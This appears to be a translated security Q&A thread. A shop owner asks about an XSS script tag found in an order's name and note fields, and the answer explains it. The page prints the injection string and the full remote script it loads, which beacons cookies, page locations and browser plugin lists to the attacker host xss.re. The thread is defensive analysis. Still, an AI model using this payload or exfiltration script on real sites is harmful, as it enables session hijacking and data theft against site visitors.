Etiqueta de script que carga "xss.re/692" en los datos de transacciones de comercio electrónico: ¿un ataque real o algo más?

3

Un sitio de comercio electrónico que ejecuté recientemente recibió una transacción sospechosa. El campo para el nombre del cliente incluía una etiqueta de secuencia de comandos, así (el nombre del cliente se cambió a John Doe para proteger el anonimato):

John Doe"><script src=//xss.re/692></script>

El campo de la nota (donde los clientes pueden escribir una nota sobre su pedido) tenía la misma etiqueta sin ningún otro texto:

"><script src=//xss.re/692></script>

La transacción parece normal. Se está enviando a lo que parece ser una dirección legítima en Ohio. El único otro problema es que la dirección de gmail de aspecto un tanto legítimo, [email protected] rebotó. Como no puedo contactar con el comprador y el aspecto general es sombrío, voy a reembolsar el pago, así que no hay problema.

Lo que me interesa es cuál es el propósito de la etiqueta de script. Al buscar en Google "xss.re" no parece haber nada relacionado, y el sitio en sí solo presenta un cuadro de inicio de sesión para "IHONKER.ORG". La url específica en el script ("xss.re/692") carga el siguiente script:

var x=new Image();
try
{
var myopener='';
myopener=window.opener && window.opener.location ? window.opener.location : '';
}
catch(err)
{
}
x.src='http://xss.re/XSS/?do=api&act=r&id=692&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape

(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);var activexa = new Array(
  "Flash Player 8|ShockwaveFlash.ShockwaveFlash.8|classID",
  "Flash Player 9|ShockwaveFlash.ShockwaveFlash.9|classID",
  "360Safe|360SafeLive.Update|classID",
  "Alibaba User(AliEdit)|Aliedit.EditCtrl|classID",
  "CMB Bank|CMBHtmlControl.Edit|classID",
  "Apple IPOD USER|IPodUpdaterExt.iPodUpdaterInterface|classID",  
  "Apple iTunes|iTunesAdmin.iTunesAdmin|classID",
  "JRE 1.7|JavaWebStart.isInstalled.1.7.0.0|classID",
  "JRE 1.6(WebStart)|JavaWebStart.isInstalled.1.6.0.0|classID",
  "KMPlayer|KMPlayer.TKMPDropTarget|classID",
  "KingSoft Word(�ʰ�)|KSEngine.Word|classID",
  "Windows live Messanger|Messenger.MsgrObject|classID",
  "Nero|NeroFileDialog.NeroFileDlg|classID",
  "Nokia Cellphone|NokiaCL.PhoneControl|classID",
  "PPlayer|PPlayer.XPPlayer|classID",
  "Tencent QQ|Qqedit.PasswordEditCtrl|classID",
  "QuickTime|QuickTime.QTElementBehavior|classID",
  "Symantec Anti-Virus|Symantec.stInetTransferItem|classID",
  "Xunlei|XunLeiBHO.ThunderIEHelper|classID"
);

function iescan(){
      var mytmp;
      var plus;
      var bar;
      var x=new Image();
      for (i=0; i<activexa.length; i++){
          mytmp = activexa[i].split('|');  
          if ( checkobj(mytmp[1]) == true ){
                  plus+="|"+mytmp[0]+"<br>"; 

          }
      }
     bar = escape(plus);
    x.src='http://xss.re/XSS/?do=api&act=r&id=692&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(document.myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);

}


function checkobj(objName){ 
    try {
          var Obj = new ActiveXObject(objName);
          return true;
  } catch (e){
            return false;
  }
}
//-------------
function check_plus() {
    var plus = "";
        var bar = "";
    var b=new Image();
 var num_of_plugins = navigator.plugins.length;
for (var i=0; i < num_of_plugins; i++) {
         plus+= navigator.plugins[i].name+"&nbsp;|&nbsp;"+ navigator.plugins[i].filename +"<br>";
   }
    bar = escape(plus);
    b.src='http://xss.re/XSS/?do=api&act=r&id=692&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);

}

function MyPlusCheck() {

    if(!+[1,]){
iescan();
}else{
   check_plus();
}
}
setTimeout("MyPlusCheck()", 3000);

Tengo problemas para entender lo que hace el script. Así que mis preguntas son:

¿Qué hace este script?

Siempre y cuando mi sitio no inserte entradas de usuario sin filtrar en el DOM (actualmente usa jQuery's .text (), que creo que es XSS safe ), ¿tengo algo de qué preocuparme por un ataque como este?

¿Existe alguna forma plausible de que esta etiqueta haya sido insertada por alguien que no sea la persona que realiza el pedido, es decir? malware en el sistema de un cliente legítimo?

    
pregunta Robert 31.08.2016 - 21:22
fuente

1 respuesta

2

¿Qué hace el script?

Envía información a xss.re (incluyéndola en una cadena de consulta al cargar imágenes con JavaScript). Si el ataque hubiera tenido éxito, cualquier persona que visite el sitio donde se realizó la inyección habría obtenido esta información:

  • La URL en la que se inyectó (y algunas cosas relacionadas, como la URL "superior" si está en un marco y el título).
  • Cualquier cookie. Esto incluiría el ID de sesión si no es solo HTTP y el token CSRF.
  • Una lista de objetos ActiveX que el navegador puede crear.
  • Una lista de complementos que usa el navegador.

No estoy seguro, pero supongo que las dos últimas son para comprobar si hay alguna vulnerable que pueda usarse para futuros ataques.

Si navegas a xss.re , obtienes un registro de inicio de sesión. Sospecho que es un servicio que te ayuda a montar ataques XSS y recopilar datos de ellos. En la solicitud que devuelve el script, hay un parámetro id incluido en la cadena de consulta. Se establece en 692 , el mismo número que en la URL. Supongo que ese es el ID de usuario del atacante.

¿Funcionó?

Debes asegurarte de no ser vulnerable a este tipo de ataque. Para hacer esto, debe verificar en todas partes este tipo de datos se refleja en la página: frontend, backend, etc.

Tienes razón en que .text() es seguro, ya que se basa en .textContent . Sin embargo, la forma en que los datos entran en el JS también es importante. Si solo haces algo como element.text(<% echo $name; %>); puedes tener un problema. Pero si obtiene el nombre de, por ejemplo, una llamada a la API HTTP está bien.

    
respondido por el Anders 31.08.2016 - 21:47
fuente

Lea otras preguntas en las etiquetas